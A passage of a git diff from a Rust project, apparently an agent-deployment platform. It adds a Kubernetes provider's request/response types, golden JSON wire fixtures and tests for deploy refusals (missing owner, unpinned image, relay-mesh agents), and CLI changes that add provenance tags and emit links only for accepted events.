+    Error(ErrorResponse),
+}
+
+#[derive(Debug, Serialize)]
+pub struct InfoResponse {
+    pub ok: bool,
+    pub name: &'static str,
+    pub version: &'static str,
+    pub protocol_version: u32,
+    pub description: &'static str,
+    pub config_schema: serde_json::Value,
+}
+
+#[derive(Debug, Serialize)]
+pub struct DeployResponse {
+    pub ok: bool,
+    pub agent_id: String,
+}
+
+#[derive(Debug, Serialize)]
+pub struct ErrorResponse {
+    pub ok: bool,
+    pub error: String,
+}
+
+impl Response {
+    pub fn error(message: impl Into<String>) -> Self {
+        Response::Error(ErrorResponse {
+            ok: false,
+            error: message.into(),
+        })
+    }
+
+    /// The provider's self-description (spec §Info). Pure — no cluster
+    /// contact — because the desktop calls it to render the config form
+    /// before a kubeconfig is known to exist.
+    pub fn info() -> Self {
+        Response::Info(InfoResponse {
+            ok: true,
+            name: "kubernetes",
+            version: env!("CARGO_PKG_VERSION"),
+            protocol_version: PROTOCOL_VERSION,
+            description: "Runs agents as pods in a Kubernetes cluster",
+            config_schema: crate::config::config_schema(),
+        })
+    }
+
+    pub fn deployed(agent_id: impl Into<String>) -> Self {
+        Response::Deploy(DeployResponse {
+            ok: true,
+            agent_id: agent_id.into(),
+        })
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn parses_info_request() {
+        let r: Request = serde_json::from_str(r#"{"op":"info","request_id":"abc"}"#).unwrap();
+        assert!(matches!(r, Request::Info));
+    }
+
+    /// The desktop sends `request_id` on every call, but the exchange is 1:1
+    /// per process — a provider that hard-required it would fail a
+    /// conforming-but-minimal caller for no safety gain.
+    #[test]
+    fn request_id_is_optional() {
+        let r: Request = serde_json::from_str(r#"{"op":"info"}"#).unwrap();
+        assert!(matches!(r, Request::Info));
+    }
+
+    #[test]
+    fn rejects_unknown_op() {
+        assert!(serde_json::from_str::<Request>(r#"{"op":"undeploy"}"#).is_err());
+    }
+
+    /// Payload fields this binding does not consume must not break parsing:
+    /// the desktop sends `model`, `provider`, `system_prompt` and more, and a
+    /// provider that rejected them would break on every real deploy.
+    #[test]
+    fn ignores_unconsumed_payload_fields() {
+        let json = r#"{
+            "op":"deploy","request_id":"r1",
+            "agent":{
+                "name":"a","relay_url":"wss://r","private_key_nsec":"nsec1x",
+                "model":"gpt-5","provider":"openai","system_prompt":"hi",
+                "turn_timeout_seconds":30,"parallelism":10,
+                "agent_command":"goose","agent_args":[]
+            },
+            "provider_config":{"namespace":"ns"}
+        }"#;
+        let r: Request = serde_json::from_str(json).unwrap();
+        let Request::Deploy(d) = r else {
+            panic!("wrong op")
+        };
+        assert_eq!(d.agent.relay_url, "wss://r");
+        assert!(d.agent.launch.is_none());
+    }
+
+    #[test]
+    fn parses_launch_block() {
+        let json = r#"{
+            "op":"deploy",
+            "agent":{
+                "relay_url":"wss://r","private_key_nsec":"nsec1x",
+                "launch":{
+                    "command":"goose","args":["run","--x"],
+                    "env":{"GOOSE_MODEL":"m"},
+                    "policy_env":{"GOOSE_MODE":"auto"},
+                    "owner_pubkey":"deadbeef"
+                }
+            }
+        }"#;
+        let Request::Deploy(d) = serde_json::from_str::<Request>(json).unwrap() else {
+            panic!("wrong op")
+        };
+        let l = d.agent.launch.unwrap();
+        assert_eq!(l.command.as_deref(), Some("goose"));
+        assert_eq!(l.args, ["run", "--x"]);
+        assert_eq!(l.env["GOOSE_MODEL"], "m");
+        assert_eq!(l.policy_env["GOOSE_MODE"], "auto");
+        assert_eq!(l.owner_pubkey.as_deref(), Some("deadbeef"));
+    }
+
+    /// A null `owner_pubkey`/`auth_tag` must parse (the refusal is a policy
+    /// decision made later, with a specific message), not fail as a type error.
+    #[test]
+    fn null_owner_fields_parse() {
+        let json = r#"{"op":"deploy","agent":{
+            "relay_url":"wss://r","private_key_nsec":"nsec1x","auth_tag":null,
+            "launch":{"owner_pubkey":null}
+        }}"#;
+        let Request::Deploy(d) = serde_json::from_str::<Request>(json).unwrap() else {
+            panic!("wrong op")
+        };
+        assert!(d.agent.auth_tag.is_none());
+        assert!(d.agent.launch.unwrap().owner_pubkey.is_none());
+    }
+
+    /// The desktop reads `ok`/`error`/`agent_id` off the top level, so the
+    /// enum must serialize flat with no variant tag.
+    #[test]
+    fn responses_serialize_flat() {
+        let v = serde_json::to_value(Response::deployed("buzz-agent-abc")).unwrap();
+        assert_eq!(v["ok"], true);
+        assert_eq!(v["agent_id"], "buzz-agent-abc");
+        assert!(v.get("Deploy").is_none());
+
+        let v = serde_json::to_value(Response::error("boom")).unwrap();
+        assert_eq!(v["ok"], false);
+        assert_eq!(v["error"], "boom");
+    }
+}
diff --git a/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/README.md b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/README.md
new file mode 100644
index 0000000000..56a972f894
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/README.md
@@ -0,0 +1,39 @@
+# Provider wire fixtures
+
+The shared arbiter for the stdin/stdout contract between the desktop
+(`agents_deploy.rs`) and this provider (spec §Provider Protocol).
+
+Each `*.request.json` is a request the desktop can emit; each matching
+`*.response.json` is the exact response this provider produces for it. The
+provider side is asserted by `tests/wire_fixtures.rs`; the desktop side should
+assert that its emitted payloads parse as the corresponding request.
+
+Three rules keep these useful rather than decorative:
+
+* **Requests are recorded, not invented.** A fixture that no caller emits
+  tests a contract nobody has. "Recorded" means *executed and transcribed* —
+  `deploy-full-launch.request.json` is the output of the desktop's real
+  `build_launch_block` → `deploy_payload_json` path, not a shape derived by
+  reading those functions. Deriving it is how this fixture acquired four
+  impossible values at once: a `respond_to` that was a pubkey where the
+  desktop serializes a kebab-case `RespondTo` enum, allowlist and owner
+  values failing `validate_respond_to_allowlist`'s 64-hex rule
+  (`types.rs:897`), an invented `BUZZ_ACP_PARALLELISM` where the emitter
+  writes `BUZZ_ACP_AGENTS` (`runtime.rs:729`), and a `launch.env` key from
+  no layer of `resolve_effective_harness_descriptor`.
+* **The provider cannot police this file, so the desktop must.** Every field
+  above is one this provider is deliberately indifferent to — `respond_to` is
+  an opaque `Option<String>`, the allowlist an opaque `Vec<String>`,
+  `policy_env` an arbitrary map — so `the_full_desktop_payload_is_accepted`
+  passes on invented data exactly as happily as on recorded data. The
+  enforcement is the desktop's whole-object equality test, which *builds* the
+  payload and compares it to this file. A completeness guard (the case-list
+  directory scan in `wire_fixtures.rs`) stops a case from going missing; it
+  cannot tell you a case is false.
+* **Responses are byte-compared after key-sorted re-serialization**, so a
+  field rename or a type change fails here rather than in a desktop that
+  silently reads `undefined`.
+
+`deploy-*` fixtures cover only responses reachable without a cluster —
+refusals and malformed input. A successful deploy needs an apiserver and is
+covered by the conformance suite, not by a static fixture.
diff --git a/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-full-launch.request.json b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-full-launch.request.json
new file mode 100644
index 0000000000..beffc29440
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-full-launch.request.json
@@ -0,0 +1,53 @@
+{
+  "op": "deploy",
+  "request_id": "req-6",
+  "agent": {
+    "agent_args": [],
+    "agent_command": "goose",
+    "auth_tag": "tag-1",
+    "env_vars": {
+      "USER_KEY": "user-value"
+    },
+    "idle_timeout_seconds": null,
+    "launch": {
+      "args": [
+        "acp"
+      ],
+      "command": "goose",
+      "env": {
+        "GOOSE_MODEL": "gpt-5",
+        "GOOSE_PROVIDER": "openai",
+        "USER_KEY": "user-value"
+      },
+      "owner_pubkey": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+      "policy_env": {
+        "BUZZ_ACP_AGENTS": "10",
+        "BUZZ_ACP_DISPLAY_NAME": "worker",
+        "BUZZ_ACP_LAZY_POOL": "true",
+        "BUZZ_ACP_MODEL": "gpt-5",
+        "BUZZ_ACP_RELAY_OBSERVER": "true",
+        "BUZZ_ACP_SESSION_TITLE": "worker",
+        "GOOSE_MODE": "auto"
+      }
+    },
+    "max_turn_duration_seconds": null,
+    "model": "gpt-5",
+    "name": "worker",
+    "parallelism": 10,
+    "private_key_nsec": "nsec1vl029mgpspedva04g90vltkh6fvh240zqtv9k0t9af8935ke9laqsnlfe5",
+    "provider": "openai",
+    "relay_url": "wss://relay.example",
+    "respond_to": "allowlist",
+    "respond_to_allowlist": [
+      "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+      "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
+    ],
+    "system_prompt": null,
+    "turn_timeout_seconds": 300
+  },
+  "provider_config": {
+    "namespace": "buzz-agents-test",
+    "image": "ghcr.io/block/buzz-sprig@sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+    "inactivity_seconds": 3600
+  }
+}
diff --git a/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-no-owner.request.json b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-no-owner.request.json
new file mode 100644
index 0000000000..4f56082bbb
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-no-owner.request.json
@@ -0,0 +1,9 @@
+{
+  "op": "deploy",
+  "request_id": "req-5",
+  "agent": {
+    "relay_url": "wss://relay.example",
+    "private_key_nsec": "nsec1vl029mgpspedva04g90vltkh6fvh240zqtv9k0t9af8935ke9laqsnlfe5"
+  },
+  "provider_config": {"namespace": "buzz-agents-test", "image": "ghcr.io/block/buzz-sprig@sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}
+}
diff --git a/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-no-owner.response.json b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-no-owner.response.json
new file mode 100644
index 0000000000..c6011b899a
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-no-owner.response.json
@@ -0,0 +1 @@
+{"ok":false,"error":"deploy refused: neither auth_tag nor launch.owner_pubkey resolved — without an owner the agent cannot honor !shutdown"}
diff --git a/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-relay-mesh-padded.request.json b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-relay-mesh-padded.request.json
new file mode 100644
index 0000000000..2160909b8f
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-relay-mesh-padded.request.json
@@ -0,0 +1,11 @@
+{
+  "op": "deploy",
+  "request_id": "req-3",
+  "agent": {
+    "relay_url": "wss://relay.example",
+    "private_key_nsec": "nsec1vl029mgpspedva04g90vltkh6fvh240zqtv9k0t9af8935ke9laqsnlfe5",
+    "auth_tag": "tag-1",
+    "provider": "  relay-mesh  "
+  },
+  "provider_config": {"namespace": "buzz-agents-test", "image": "ghcr.io/block/buzz-sprig@sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}
+}
diff --git a/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-relay-mesh-padded.response.json b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-relay-mesh-padded.response.json
new file mode 100644
index 0000000000..0f0c995fd8
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-relay-mesh-padded.response.json
@@ -0,0 +1 @@
+{"ok":false,"error":"deploy refused: this agent is configured for shared compute (relay-mesh), which runs on the relay rather than in a pod. Switch the agent to a local runtime before deploying it to Kubernetes."}
diff --git a/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-relay-mesh.request.json b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-relay-mesh.request.json
new file mode 100644
index 0000000000..71ce9f067e
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-relay-mesh.request.json
@@ -0,0 +1,12 @@
+{
+  "op": "deploy",
+  "request_id": "req-2",
+  "agent": {
+    "name": "mesh-agent",
+    "relay_url": "wss://relay.example",
+    "private_key_nsec": "nsec1vl029mgpspedva04g90vltkh6fvh240zqtv9k0t9af8935ke9laqsnlfe5",
+    "auth_tag": "tag-1",
+    "provider": "relay-mesh"
+  },
+  "provider_config": {"namespace": "buzz-agents-test", "image": "ghcr.io/block/buzz-sprig@sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}
+}
diff --git a/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-relay-mesh.response.json b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-relay-mesh.response.json
new file mode 100644
index 0000000000..0f0c995fd8
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-relay-mesh.response.json
@@ -0,0 +1 @@
+{"ok":false,"error":"deploy refused: this agent is configured for shared compute (relay-mesh), which runs on the relay rather than in a pod. Switch the agent to a local runtime before deploying it to Kubernetes."}
diff --git a/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-tag-image.request.json b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-tag-image.request.json
new file mode 100644
index 0000000000..232d9dcf43
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-tag-image.request.json
@@ -0,0 +1,10 @@
+{
+  "op": "deploy",
+  "request_id": "req-4",
+  "agent": {
+    "relay_url": "wss://relay.example",
+    "private_key_nsec": "nsec1vl029mgpspedva04g90vltkh6fvh240zqtv9k0t9af8935ke9laqsnlfe5",
+    "auth_tag": "tag-1"
+  },
+  "provider_config": {"namespace": "buzz-agents-test", "image": "ghcr.io/block/buzz-sprig:latest"}
+}
diff --git a/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-tag-image.response.json b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-tag-image.response.json
new file mode 100644
index 0000000000..e67fa6a47f
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-tag-image.response.json
@@ -0,0 +1 @@
+{"ok":false,"error":"provider_config.image \"ghcr.io/block/buzz-sprig:latest\" is not digest-pinned: a tag is a mutable pointer, and this object runs with the agent's private key. Use name@sha256:<64 hex chars>"}
diff --git a/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/info.request.json b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/info.request.json
new file mode 100644
index 0000000000..db99c86c00
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/info.request.json
@@ -0,0 +1 @@
+{"op":"info","request_id":"req-1"}
diff --git a/crates/buzz-backend-kubernetes/tests/wire_fixtures.rs b/crates/buzz-backend-kubernetes/tests/wire_fixtures.rs
new file mode 100644
index 0000000000..b3049a98ef
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/tests/wire_fixtures.rs
@@ -0,0 +1,222 @@
+//! Golden wire fixtures (spec §Provider Protocol).
+//!
+//! These drive the **built binary** over a real pipe rather than calling an
+//! in-process function: the contract the desktop depends on is
+//! `stdin → one JSON object on stdout → exit code`, and an in-process test
+//! would assert the shape of a value while skipping the three things that
+//! actually break — the process writing nothing, writing two objects, or
+//! signalling the outcome through the exit code.
+
+use std::io::Write;
+use std::path::{Path, PathBuf};
+use std::process::{Command, Stdio};
+
+fn fixtures() -> PathBuf {
+    Path::new(env!("CARGO_MANIFEST_DIR")).join("tests/fixtures/provider-wire")
+}
+
+/// Feed one request to the binary; return `(stdout, exit code)`.
+fn run(request: &str) -> (String, i32) {
+    let mut child = Command::new(env!("CARGO_BIN_EXE_buzz-backend-kubernetes"))
+        // A kubeconfig that does not exist, so a fixture that accidentally
+        // reaches the cluster fails loudly here instead of depending on
+        // whatever cluster the developer is pointed at.
+        .env("KUBECONFIG", "/nonexistent/kubeconfig-for-fixture-tests")
+        .stdin(Stdio::piped())
+        .stdout(Stdio::piped())
+        .spawn()
+        .expect("could not run the provider binary");
+    child
+        .stdin
+        .take()
+        .expect("no stdin")
+        .write_all(request.as_bytes())
+        .expect("could not write the request");
+    let out = child.wait_with_output().expect("provider did not exit");
+    (
+        String::from_utf8(out.stdout).expect("stdout was not UTF-8"),
+        out.status.code().unwrap_or(-1),
+    )
+}
+
+fn read(name: &str) -> String {
+    std::fs::read_to_string(fixtures().join(name))
+        .unwrap_or_else(|e| panic!("could not read fixture {name}: {e}"))
+}
+
+/// Every response fixture, byte-compared after key-sorted re-serialization so
+/// a field rename fails here rather than in a desktop reading `undefined`.
+#[test]
+fn responses_match_their_fixtures() {
+    let cases = [
+        "deploy-relay-mesh",
+        "deploy-relay-mesh-padded",
+        "deploy-tag-image",
+        "deploy-no-owner",
+    ];
+    // The list must cover every response fixture on disk. A literal array is
+    // never empty, so `!is_empty()` would assert nothing; what can actually go
+    // wrong is a fixture added to the directory and never added here, which
+    // reads as a passing suite that exercises one case fewer than it appears to.
+    let mut on_disk: Vec<String> = std::fs::read_dir(fixtures())
+        .expect("could not read the fixture directory")
+        .filter_map(|entry| entry.ok()?.file_name().into_string().ok())
+        .filter_map(|name| Some(name.strip_suffix(".response.json")?.to_string()))
+        .collect();
+    on_disk.sort();
+    let mut listed: Vec<String> = cases.iter().map(|c| c.to_string()).collect();
+    listed.sort();
+    assert_eq!(on_disk, listed, "response fixtures and cases disagree");
+
+    for case in cases {
+        let (stdout, code) = run(&read(&format!("{case}.request.json")));
+        assert_eq!(code, 0, "{case}: a produced response must exit 0");
+
+        // Exactly one object, terminated by exactly one newline. Two responses
+        // would leave the desktop's reader holding a second one forever.
+        assert_eq!(
+            stdout.matches('\n').count(),
+            1,
+            "{case}: expected exactly one line, got {stdout:?}"
+        );
+
+        let actual: serde_json::Value =
+            serde_json::from_str(&stdout).unwrap_or_else(|e| panic!("{case}: {e}: {stdout:?}"));
+        let expected: serde_json::Value =
+            serde_json::from_str(&read(&format!("{case}.response.json"))).unwrap();
+        assert_eq!(
+            actual, expected,
+            "{case}: response drifted from its fixture"
+        );
+    }
+}
+
+/// `info` is checked on the fields the desktop reads rather than byte-for-byte:
+/// the namespace default is randomly generated per call (§K8s Namespace), so a
+/// golden copy of it would be a test that fails every run.
+#[test]
+fn info_response_carries_the_contract_fields() {
+    let (stdout, code) = run(&read("info.request.json"));
+    assert_eq!(code, 0);
+    let info: serde_json::Value = serde_json::from_str(&stdout).unwrap();
+    assert_eq!(info["ok"], true);
+    assert_eq!(info["protocol_version"], 1);
+    assert_eq!(info["name"], "kubernetes");
+    let schema = &info["config_schema"];
+    assert_eq!(
+        schema["required"],
+        serde_json::json!(["namespace", "image"])
+    );
+    let default = schema["properties"]["namespace"]["default"]
+        .as_str()
+        .expect("no generated namespace default");
+    assert!(
+        default.starts_with("buzz-agents-"),
+        "unexpected namespace default: {default}"
+    );
+    let image_default = schema["properties"]["image"]["default"]
+        .as_str()
+        .expect("no image default");
+    assert!(
+        image_default.starts_with("ghcr.io/block/buzz-sprig:")
+            && image_default.contains("@sha256:"),
+        "unexpected image default: {image_default}"
+    );
+}
+
+/// The desktop's richest payload must parse. No response fixture: this one
+/// reaches the cluster, so its outcome depends on a kubeconfig. What it
+/// guards is that every field the desktop sends is *accepted* — a payload the
+/// provider rejects at parse time is a deploy that never starts.
+#[test]
+fn the_full_desktop_payload_is_accepted() {
+    let (stdout, code) = run(&read("deploy-full-launch.request.json"));
+    assert_eq!(code, 0);
+    let response: serde_json::Value = serde_json::from_str(&stdout).unwrap();
+    let error = response["error"].as_str().unwrap_or_default();
+    // It fails — there is no cluster — but it must fail at the *connection*,
+    // having accepted every field above it.
+    assert!(
+        error.contains("kubeconfig"),
+        "the full payload was rejected before reaching the cluster: {error}"
+    );
+}
+
+/// Sami's pre-registered respond-to matrix, driven through the built binary.
+///
+/// `build_env` runs at `main.rs:124`, `client::connect` at `:132`, so under a
+/// kubeconfig that cannot exist the error string *is* the ordering assertion:
+/// "kubeconfig" means the gate passed and we reached the cluster, anything
+/// else means we refused before writing a Secret. A test asserting only
+/// `ok: false` would pass on the connection error and prove nothing.
+///
+/// The cases are applied to the real full-launch request so each one differs
+/// from a known-good deploy in exactly the field under test.
+#[test]
+fn the_respond_to_gate_matches_the_harness_acceptance_surface() {
+    let key_a = "a".repeat(64);
+    let padded_upper = format!("  {}  ", "A".repeat(64));
+    // (name, respond_to, allowlist, must reach the cluster)
+    let cases: Vec<(&str, &str, Option<Vec<String>>, bool)> = vec![
+        ("allowlist + []", "allowlist", Some(vec![]), false),
+        ("allowlist + absent", "allowlist", None, false),
+        (
+            "allowlist + junk",
+            "allowlist",
+            Some(vec!["beefcafe".into()]),
+            false,
+        ),
+        ("unparseable mode", "npub1abc", None, false),
+        ("padded mode", " allowlist ", None, false),
+        (
+            "allowlist + two valid",
+            "allowlist",
+            Some(vec![key_a.clone(), "b".repeat(64)]),
+            true,
+        ),
+        (
+            "owner-only + junk list",
+            "owner-only",
+            Some(vec!["beefcafe".into()]),
+            true,
+        ),
+        (
+            "allowlist + padded upper",
+            "allowlist",
+            Some(vec![padded_upper]),
+            true,
+        ),
+        ("nobody", "nobody", None, true),
+        ("anyone", "anyone", None, true),
+    ];
+
+    let base: serde_json::Value =
+        serde_json::from_str(&read("deploy-full-launch.request.json")).unwrap();
+
+    for (name, mode, allowlist, reaches_cluster) in cases {
+        let mut request = base.clone();
+        let agent = &mut request["agent"];
+        agent["respond_to"] = serde_json::json!(mode);
+        agent["respond_to_allowlist"] = match &allowlist {
+            Some(list) => serde_json::json!(list),
+            None => serde_json::Value::Null,
+        };
+
+        let (stdout, code) = run(&request.to_string());
+        assert_eq!(code, 0, "{name}: provider did not exit cleanly");
+        let response: serde_json::Value = serde_json::from_str(&stdout).unwrap();
+        let error = response["error"].as_str().unwrap_or_default();
+        let reached = error.contains("kubeconfig");
+
+        assert_eq!(
+            reached, reaches_cluster,
+            "{name}: expected reaches_cluster={reaches_cluster}, got error: {error}"
+        );
+        if !reaches_cluster {
+            assert!(
+                error.contains("deploy refused"),
+                "{name}: refused, but not by the gate: {error}"
+            );
+        }
+    }
+}
diff --git a/crates/buzz-cli/src/client.rs b/crates/buzz-cli/src/client.rs
index d0dd2677a9..ee8868ad92 100644
--- a/crates/buzz-cli/src/client.rs
+++ b/crates/buzz-cli/src/client.rs
@@ -1387,19 +1387,25 @@ pub fn extract_p_tags(event: &serde_json::Value) -> Vec<serde_json::Value> {
         .unwrap_or_default()
 }
 
-/// Return a create-command response with an entity ID injected.
-pub fn create_response_with_id(resp: &str, id_key: &str, id_val: &str) -> String {
+/// Return a create-command response, injecting the entity ID **only** when the
+/// relay accepted the event (`"accepted": true`). When the relay rejected the
+/// event, emitting the locally-computed link would be misleading — callers
+/// that copy or share the link would reference an event that was never stored.
+pub fn create_response_with_id_if_accepted(resp: &str, id_key: &str, id_val: &str) -> String {
     let mut v: serde_json::Value = serde_json::from_str(resp).unwrap_or(serde_json::json!({}));
-    v[id_key] = serde_json::json!(id_val);
-    if v.get("accepted").is_none() {
-        v["accepted"] = serde_json::json!(true);
+    let accepted = v.get("accepted").and_then(|a| a.as_bool()).unwrap_or(false);
+    if accepted {
+        v[id_key] = serde_json::json!(id_val);
     }
     v.to_string()
 }
 
 /// Print a create-command response, injecting the generated entity ID.
 pub fn print_create_response(resp: &str, id_key: &str, id_val: &str) {
-    println!("{}", create_response_with_id(resp, id_key, id_val));
+    println!(
+        "{}",
+        create_response_with_id_if_accepted(resp, id_key, id_val)
+    );
 }
 
 /// Extract a JSON field from relay write response messages shaped as
@@ -2297,7 +2303,8 @@ mod retry_policy_tests {
 #[cfg(test)]
 mod tests {
     use super::{
-        advance_query_cursor, create_response_with_id, extract_relay_response_field, BuzzClient,
+        advance_query_cursor, create_response_with_id_if_accepted, extract_relay_response_field,
+        BuzzClient,
     };
     use nostr::{EventBuilder, Keys, Kind, Tag};
 
@@ -2345,15 +2352,30 @@ mod tests {
     }
 
     #[test]
-    fn create_response_with_id_overrides_local_id_with_relay_id() {
+    fn create_response_with_id_if_accepted_injects_id_when_accepted() {
         let raw = r#"{"event_id":"abc","accepted":true,"message":"response:{\"workflow_id\":\"relay-id\"}"}"#;
-        let out = create_response_with_id(raw, "workflow_id", "relay-id");
+        let out = create_response_with_id_if_accepted(raw, "workflow_id", "relay-id");
         let v: serde_json::Value = serde_json::from_str(&out).unwrap();
+        // ID injected and original fields preserved when accepted.
         assert_eq!(v["workflow_id"].as_str(), Some("relay-id"));
         assert_eq!(v["event_id"].as_str(), Some("abc"));
         assert_eq!(v["accepted"].as_bool(), Some(true));
     }
 
+    #[test]
+    fn create_response_with_id_if_accepted_omits_id_when_rejected() {
+        let raw = r#"{"event_id":"abc","accepted":false,"message":"duplicate"}"#;
+        let out = create_response_with_id_if_accepted(raw, "workflow_id", "local-id");
+        let v: serde_json::Value = serde_json::from_str(&out).unwrap();
+        // ID must not be present when relay rejected the event; emitting a
+        // link to an event that was never stored would mislead callers.
+        assert!(
+            v.get("workflow_id").is_none(),
+            "link field must be absent on rejected create"
+        );
+        assert_eq!(v["accepted"].as_bool(), Some(false));
+    }
+
     // --- (a) auth-suppression regression pair ---
 
     fn make_auth_tag() -> (Tag, String) {
diff --git a/crates/buzz-cli/src/commands/issues.rs b/crates/buzz-cli/src/commands/issues.rs
index f12f8843ae..54e5645cb3 100644
--- a/crates/buzz-cli/src/commands/issues.rs
+++ b/crates/buzz-cli/src/commands/issues.rs
@@ -1,4 +1,5 @@
 use crate::client::BuzzClient;
+use crate::commands::with_git_provenance;
 use crate::error::CliError;
 use crate::validate::{read_or_stdin, sdk_err, validate_hex64, validate_repo_id};
 use buzz_sdk::{GitIssueMeta, GitRepoCoord, GitStatusMeta};
@@ -27,10 +28,16 @@ pub async fn cmd_create_issue(
         id: repo_id.to_string(),
     };
 
-    let builder = buzz_sdk::build_git_issue(&repo, subject, &body, &meta).map_err(sdk_err)?;
+    let builder = with_git_provenance(
+        buzz_sdk::build_git_issue(&repo, subject, &body, &meta).map_err(sdk_err)?,
+    )?;
     let event = client.sign_event(builder)?;
+    let event_id = event.id.to_hex();
     let resp = client.submit_event(event).await?;
-    println!("{resp}");
+    // `link` renders as a rich preview card in Buzz Desktop when included in
+    // a chat message — agents announce issues with it (see base_prompt.md).
+    let link = crate::links::issue_link(&event_id, repo_owner, repo_id);
+    crate::client::print_create_response(&resp, "link", &link);
     Ok(())
 }
 
@@ -166,7 +173,8 @@ pub async fn cmd_issue_status(
         applied_as_commits: vec![],
     };
 
-    let builder = buzz_sdk::build_git_status(status, &body, &meta).map_err(sdk_err)?;
+    let builder =
+        with_git_provenance(buzz_sdk::build_git_status(status, &body, &meta).map_err(sdk_err)?)?;
     let event = client.sign_event(builder)?;
     let resp = client.submit_event(event).await?;
     println!("{resp}");
diff --git a/crates/buzz-cli/src/commands/mod.rs b/crates/buzz-cli/src/commands/mod.rs
index 8691590636..ad2c36e200 100644
--- a/crates/buzz-cli/src/commands/mod.rs
+++ b/crates/buzz-cli/src/commands/mod.rs
@@ -12,9 +12,130 @@ pub mod notes;
 pub mod pack;
 pub mod patches;
 pub mod pr;
+pub mod projects;
 pub mod reactions;
 pub mod repos;
 pub mod social;
 pub mod upload;
 pub mod users;
 pub mod workflows;
+
+use crate::{client::normalize_write_response, error::CliError};
+use nostr::{EventBuilder, Tag};
+
+const GIT_ORIGIN_CHANNEL_ENV: &str = "BUZZ_GIT_ORIGIN_CHANNEL_ID";
+const GIT_ORIGIN_AGENT_ENV: &str = "BUZZ_GIT_ORIGIN_AGENT_NAME";
+
+/// Add trusted, session-scoped provenance supplied by the ACP harness.
+///
+/// Public channels use the standard NIP-29 `h` tag. Private conversations
+/// intentionally omit their channel coordinate and retain only the agent's
+/// display name.
+pub(crate) fn with_git_provenance(builder: EventBuilder) -> Result<EventBuilder, CliError> {
+    apply_git_provenance(
+        builder,
+        std::env::var(GIT_ORIGIN_CHANNEL_ENV).ok().as_deref(),
+        std::env::var(GIT_ORIGIN_AGENT_ENV).ok().as_deref(),
+    )
+}
+
+fn apply_git_provenance(
+    builder: EventBuilder,
+    channel_id: Option<&str>,
+    agent_name: Option<&str>,
+) -> Result<EventBuilder, CliError> {
+    if let Some(channel_id) = channel_id {
+        let channel_id = channel_id.trim();
+        uuid::Uuid::parse_str(channel_id)
+            .map_err(|_| CliError::Other("invalid git origin channel ID".into()))?;
+        let origin_tag = Tag::parse(["h", channel_id])
+            .map_err(|error| CliError::Other(format!("invalid git origin tag: {error}")))?;
+        return Ok(builder.tag(origin_tag));
+    }
+
+    if let Some(agent_name) = agent_name {
+        let agent_name = agent_name.trim();
+        if agent_name.is_empty()
+            || agent_name.len() > 256
+            || agent_name.chars().any(char::is_control)
+        {
+            return Err(CliError::Other(
+                "invalid private-conversation agent name".into(),
+            ));
+        }
+        let origin_tag = Tag::parse(["buzz-origin-agent", agent_name])
+            .map_err(|error| CliError::Other(format!("invalid git origin tag: {error}")))?;
+        return Ok(builder.tag(origin_tag));
+    }
+
+    Ok(builder)
+}
+
+/// Parse a relay write-response JSON blob, mapping a duplicate (dominated)
+/// write to [`CliError::Conflict`] with the caller-supplied message.
+///
+/// Used by every command that publishes an NIP-33 addressable event and
+/// needs to tell accepted from duplicate/dominated.
+pub fn parse_write_response(raw: &str, conflict_msg: &str) -> Result<String, CliError> {
